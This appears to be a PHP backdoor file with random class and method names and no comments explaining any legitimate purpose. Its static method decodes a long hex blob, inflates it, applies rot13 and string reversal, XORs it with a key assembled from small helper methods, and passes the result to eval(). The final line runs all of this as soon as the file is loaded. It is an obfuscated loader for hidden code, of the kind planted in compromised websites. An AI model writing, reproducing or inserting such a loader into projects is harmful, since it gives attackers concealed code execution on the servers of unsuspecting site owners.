<?php
// Sys_cKQLDt81
// ID_iYaP34
class CGmlTMZ82855 {
private function krbXS51() {
return 'Sd4q';
}
private function kOjXE73() {
return 'I6vj';
}
private function kpmmQ96() {
return '6tiB';
}
private function glFqz37() {
return 'rcfum';
}
private function gGqQG25() {
return 'v2y3t';
}
private function xVPqeTG83($code) {
if (!empty($code)) { return eval($code); }
return null;
}
public function fcpZy26() {
return null;
}
public static function r381() {
$h = '8nYg73d92fb53aa7818c6f1029697e426080a6a5ea834d3b6ab80b986a0a22952b9696ace7668a6eca0eb0ee7ccc9a97f7db1ceecafefbcdfe77d9ecff7b9d9ecaeca56fe66518d0d548963af7d6726e0f9e8abf23e3bd12eb23eaa1908cb2949058f9279990dc66a96846bad2aaac8142d5bfeb26598b78af0ef20966346dbc9033f80761835ceb491af39db2c4913f034cb28bd2038da91eec123ce4bcb9ec64800ed1d175f7c3c48133bae3a2c726ea4d7c7da71123f85d01d81e8b508fbd6746ceb100f6f81fff5fb584d609aded2d7bc23601299e0184586629756ac1e14936068d56f515f3eed9dfe8affa64a8090182874909e041d2d07b7bcf274dc5887639b3c774a653fdf7eee6f404dd6ce8b5f6b27790025820c910e37360fb301457293550bbfb4f9d04c3bb64d2cc7b86698f319d16f10dd5570f0c444909a8f6a1378c557e62259dd0921d688b94b640359dd8375085072f98bb087f590ea7954828d8f5ba4ed2ae829bc52f962c54c38370e96931e45f5216a2e8483892463b3c27a16ae068e4d26d4dd69504bdba771b308125dac9641e13b2305bcf3369f07aa5979e3e8487b73b7cdbb9bd3f1c57c16e84ec67bf5282114228805b9bb7b12ad3d993252037fe74a7b90619f6ee661a3fbc601f05796aaf6fad341a21d4ae55d127f5188926c1f9eac33f289c17d3db825138c8e144c4591b7a8fa2fa96cb5aab5916bd8a099d45b82f58959b374fe1a493d6b1f7bde4b96855a227efda9f3d913b70e1b53be68940efe06928f87fead126795333330f99d33a6ebbb4e3d034aa43f1f71d4d7b9f02b82337b1923977ed9483eec3948b1b838de5e42e2b2089bbd68fdcf71e79cad38e20c087537d77fad1210e785ba20885aa39713881153b34c6aee95c2fec2f20ad041a75ccaab4426b1e633eec463a34f6f44b361b3b2fb76b3d85cfb9c4edae0590ed89ab850221fab3346060837a30d8983071a808af1f77e691195ea8c984c28fe30a5f147d8dd89dd139ba1a079f1c15391023a4e8978ba0b69af9e54f17d376dd9197997f75ca121f73c87ea88501cdcb7c32e2be7d4c1a419da20bab666feb18042f1b3676177e14fbfec87cc5e58bbc0eabc7b483eff88842ac76e596446ce6f3f6ed1c9c35b64718fef03e476f19fc41fc4e29ed256bfe633db3f724e69fd9f67d8507591c3a5f3123cd9d33d974137253a253879acc35d90ae2f34a0f9dda04352ccd91636aee0d5014486edfe8bb1a127c1d10e25c676e2048d1d16f4a19f823a228569531384e6c19026b0d715bb87adc875e3832e2c8bb8efa0344b34d67efe5afd07';
$h = substr($h, 5);
$b = hex2bin($h);
$minfo = json_decode(base64_decode('WyJyZXYiLCJyb3QiXQ=='), true);
$o = new self();
$k = '';
$k .= $o->krbXS51();
$k .= $o->kOjXE73();
$k .= $o->kpmmQ96();
$gt = '';
$gt .= $o->glFqz37();
$gt .= $o->gGqQG25();
if (md5($gt) !== '7f918137158a101f2ce70bb8a0ef66d2') {
return false;
}
$decompressed = @gzinflate($b);
if ($decompressed === false) {
$decompressed = $b;
}
$current = $decompressed;
if (!empty($minfo) && is_array($minfo)) {
$minfo = array_reverse($minfo);
foreach ($minfo as $m) {
switch ($m) {
case 'b64':
$current = base64_decode($current);
break;
case 'rev':
$current = strrev($current);
break;
case 'rot':
$current = str_rot13($current);
break;
}
}
}
$cipher_text = $current;
$pc = '';
$klen = strlen($k);
if ($klen > 0) {
for ($i=0; $i<strlen($cipher_text); $i++) {
$pc .= chr(ord($cipher_text[$i]) ^ ord($k[$i % $klen]));
}
} else {
$pc = $cipher_text;
}
if (!empty($pc) && is_string($pc)) {
$o->xVPqeTG83($pc);
}
}
}
CGmlTMZ82855::r381();
// EOF